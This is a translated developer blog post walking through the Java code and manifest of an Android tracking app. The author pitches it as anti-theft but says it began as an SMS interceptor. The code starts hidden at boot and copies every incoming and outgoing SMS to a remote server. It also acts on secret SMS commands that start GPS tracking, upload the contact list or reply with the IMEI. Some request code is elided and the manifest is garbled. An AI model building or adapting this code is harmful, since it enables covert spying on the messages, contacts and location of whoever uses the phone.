Hello. Some time ago I started learning programming for Android. Having read various subject literature, as is usually the case, I decided to test my strength in this field. The idea of ​​writing this particular service originated back in 2009, when an advertisement on RU.TV was full of phrases like “Find out the location of the subscriber”, “Intercept SMS”, etc. You do not need to have a degree to understand that all this is the usual "divorce for money." In addition, the attentive viewer will pay attention to the word "game", supposedly casually dropped in the text. Realizing that this kind of service is possible, I decided to try to write a program that would intercept incoming / outgoing SMS, the list of calls and determine the location. But positioning it as an SMS interceptor, within the framework of current legislation, was, to put it mildly, illegal. In this connection, the idea was abandoned, and I switched to other projects until now.
The reason for which I once again took up this project was the theft by hackers this summer of my new HTC Desire Z running Android. Of course, my SIM card was thrown away and with it the last hook and the opportunity to find my phone disappeared. It was then that I regretted that the previously conceived project was not implemented, and in an instant the idea was ripe, what kind of benefits could be derived from it within the framework of the law.
So, everything is in order. To implement the task was selected programming language Java. I will not go into details of the reasons for choosing a language, but I will try to highlight the specific moments in programming for Android. In this article I will discuss the algorithms for working with incoming and outgoing SMS.
')
So, the work of the system is divided into the client part (the one that is installed on the protected phone) part and the server part (some Internet service to which data is transmitted from all the phones on which the tracking program is installed). Let's look at what the client side should do:
Since the program must constantly monitor for incoming or outgoing SMS, it should automatically start when the phone is restarted and remain relatively invisible to the communicator user. The task of enabling tracking functions after restarting can be solved by the receiver declared in the manifest:
<receiver android:name=".onBootReceiver" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
It runs two services running in the background - AlarmedService and GPS:
public class onBootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent)
{
if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction()))
{
// Alarm
Intent serviceLauncher = new Intent(context, AlarmedService.class);
context.startService(serviceLauncher);
// GPS
if (Consts.STARTUP_GPS_SERVICE) context.startService(new Intent(context, GPS.class));
}
}
}
Since in this article I plan to consider only the work of the SMS interceptor, I will explain the purpose of the first Alarmed Service.
private void startService()
{
//
Intent intent = new Intent(this, ResendData.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this, REQUEST_CODE, intent, 0);
alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + FIRST_RUN, INTERVAL, pendingIntent);
//
Intent intent2 = new Intent(this, OutgoingSMS.class);
PendingIntent pendingIntent2 = PendingIntent.getBroadcast(this, REQUEST_CODE, intent2, 0);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + Consts.FIRST_RUN_500ms , Consts.INTERVAL_1sec , pendingIntent2);
}
This is a service called by the AlarmManager, which with some frequency repeats the launch of functions, namely, re-sending SMS not previously sent to the server (due to the absence of the Internet, for example) and checking for new outgoing SMS. Looking ahead, I will explain that the processing of incoming SMS is implemented somewhat differently, and more precisely, through the receiver of broadcast intentions BroadcastReciever and works much more efficiently than in the case of outgoing. And all this is only because I did not manage to find the necessary receiver for outgoing SMS in the developer’s manual for Android (perhaps, by the way, it isn’t).
New outgoing SMS, if any, are stored in a database table for sending to the server. Why is the table being used and not being transmitted directly? It's simple - there are no guarantees that this data transfer will succeed at the first attempt, because the phone may not have access to the Internet at this moment.
Here is a snippet of handling new outgoing SMS:
public class OutgoingSMS extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent)
{
Utils UN=new Utils(context);
Integer lastid=UN.GetLastID(context);
Cursor unsent=UN.GetSentSMS(context, lastid);
if (unsent.moveToFirst()){
do
{
if (unsent.getInt(0)>lastid) lastid=unsent.getInt(0);
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
Date date=new Date(unsent.getLong(5));
String _date=sdf.format(date);
UN.PutSMS(context, unsent.getString(3), _date, unsent.getString(12), 1);
}
while (unsent.moveToNext());
UN.SetLastID(context, lastid);
}
unsent.close();
UN.DBClose();
}
}
And this is the handler for re-sending previously unsent data to the server:
public class ResendData extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent)
{
Utils UT=new Utils(context);
UT.ResendSMS(context);
UT.ResendGPS(context);
UT.ResendContacts(context);
UT.DBClose();
}
}
With incoming SMS, everything is simpler - in this case, an event occurs that is processed by the receiver of broadcasting intentions, into the body of which we place the code we need:
public class SmsBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent intent) {
//
Bundle bundle = intent.getExtras();
ProSperoService.messages=(Object[]) bundle.get("pdus");
//
Intent serviceLauncher = new Intent(ctx, ProSperoService.class);
ctx.startService(serviceLauncher);
}
}
In this code, we receive incoming SMS from pdus and start the ProSperoService service, which assembles SMS and queues to be sent to the server. What is the layout for? I will explain. According to the standard, the length of SMS messages in Russian (in simple terms) is significantly limited. And long SMS are broken into several short, which are then collected by the software of the phone into one original SMS. By the way, if the text of such SMS exceeds the length of 5 short SMS, then it is already sent as MMS, and, accordingly, it will not be intercepted by the code below.
private void IncomingSMSBackup(){
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
String _date=sdf.format(date);
Utils PS=new Utils(this);
SmsMessage smsMessage[] = new SmsMessage[messages.length];
//
String smsmsg="";
for (int n = 0; n < messages.length; n++)
{
smsMessage[n] = SmsMessage.createFromPdu((byte[]) messages[n]);
//
smsmsg=smsmsg+smsMessage[n].getMessageBody().toString();
}
//,
//String mess=smsMessage[n].getMessageBody();
String mess=smsMessage[0].getMessageBody();
// GPS
int fnd=mess.indexOf(Consts.START_GPS_SERVICE);
if (fnd!=-1)
{
getBaseContext().startService(new Intent(getBaseContext(), GPS.class));
}
// GPS
fnd=mess.indexOf(Consts.STOP_GPS_SERVICE);
if (fnd!=-1)
{
getBaseContext().stopService(new Intent(getBaseContext(), GPS.class));
}
// IMEI
fnd=mess.indexOf(Consts.GET_IMEI);
if (fnd!=-1)
{
//
String SENT = "SMS_SENT";
String DELIVERED = "SMS_DELIVERED";
PendingIntent sentPI = PendingIntent.getBroadcast(this, 0,
new Intent(SENT), 0);
PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0,
new Intent(DELIVERED), 0);
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(smsMessage[0].getOriginatingAddress(), null, "IMEI: "+PS.IMEI, sentPI, deliveredPI);
// .
}
//
fnd=mess.indexOf(Consts.GET_CONTACTS);
if (fnd!=-1)
{
PS.PutContacts(getBaseContext(), PS.GetContactsRequest(getBaseContext()));
}
//PS.PutSMS(this, smsMessage[n].getOriginatingAddress(),_date,smsMessage[n].getMessageBody().toString(),0);
PS.PutSMS(this, smsMessage[0].getOriginatingAddress(),_date,smsmsg,0);
//}
//
URL url = null;
HttpURLConnection urlConnection = null;
try
{
url = new URL(Consts.SERVER_URL);
}
catch (MalformedURLException e)
{
e.printStackTrace();
}
Cursor cur=PS.GetSMS(this);
String request="";
if (cur.moveToFirst()) {
do
{
try
{
request = //
String hash=// -
request=request+"&hash="+hash;
//Toast.makeText(getBaseContext(), request, Toast.LENGTH_LONG).show();
}
catch (UnsupportedEncodingException e)
{
e.printStackTrace();
}
if (PS.SendRequestToServer(url, urlConnection, request))
{
PS.KillSMSByID(cur.getInt(0));
}
}
while (cur.moveToNext());
}
cur.close();
PS.DBClose();
}
This code checks the contents of the incoming SMS for the presence of service commands (of course, we program the commands ourselves). The meaning of these commands is that as soon as the phone receives an SMS, the text of which will contain a sequence of service symbols, for example ":-)", the program will perform some prescribed actions. This can be the transfer of a list of contacts, the inclusion of a tracking system via GPS, etc. After the checks, a request is sent that is sent to the server and it is placed in the send queue. After successful sending, the data from the database table is deleted.
In conclusion, I will give the contents of the AndroidManifest.xml file (unfortunately, how the habr code is not completely correct, so I’m giving it in plain text):
<? xml version = "1.0" encoding = "utf-8"?>
<manifest xmlns: android = "
schemas.android.com/apk/res/android "
package = "com.sandman.prospero"
android: versionCode = "1"
android: versionName = "1.0">
<application android: icon = "@ drawable / icon" android: label = "@ string / app_name">
<activity android: name = ". ProSperoActivity"
android: label = "@ string / app_name">
<intent-filter>
<action android: name = "android.intent.action.MAIN" />
<category android: name = "android.intent.category.LAUNCHER" />
</ intent-filter>
<service android: name = ". ProSperoService" android: exported = "false">
<service android: name = ". GPS" android: exported = "false">
<service android: enabled = "true" android: name = ". AlarmedService" />
<receiver android: name = ". SmsBroadcastReceiver">
<intent-filter>
<action android: name = "android.provider.Telephony.SMS_RECEIVED" />
</ intent-filter>
<receiver android: name = ". ResendData" android: process = ": remote" />
<receiver android: name = ". OutgoingSMS" android: process = ": remote" />
<receiver android: name = ". onBootReceiver" android: enabled = "true" android: exported = "false">
<intent-filter>
<action android: name = "android.intent.action.BOOT_COMPLETED" />
</ intent-filter>
// read sms
<uses-permission android: name = "android.permission.READ_SMS" />
// send sms
<uses-permission android: name = "android.permission.SEND_SMS" />
// Internet access
<uses-permission android: name = "android.permission.INTERNET" />
// reading the list of contacts
<uses-permission android: name = "android.permission.READ_CONTACTS" />
// receive sms
<uses-permission android: name = "android.permission.RECEIVE_SMS" />
// no hibernation
<uses-permission android: name = "android.permission.WAKE_LOCK" />
// getting information about the completion of the phone boot process
<uses-permission android: name = "android.permission.RECEIVE_BOOT_COMPLETED" />
// use GPS
<uses-permission android: name = "android.permission.ACCESS_FINE_LOCATION" />
<uses-sdk android: minSdkVersion = "3" />
Please note that it is necessary to declare all services and receivers of broadcast intentions, as well as specify all permissions necessary for the program to work correctly.
The convenience of the program lies in the fact that it is able to uniquely identify the communicator, and therefore transfer data to its true owner even when the SIM card is replaced, since The identifier is the IMEI of the device.
Actually, the work of the service can be viewed on the website
prospero.pro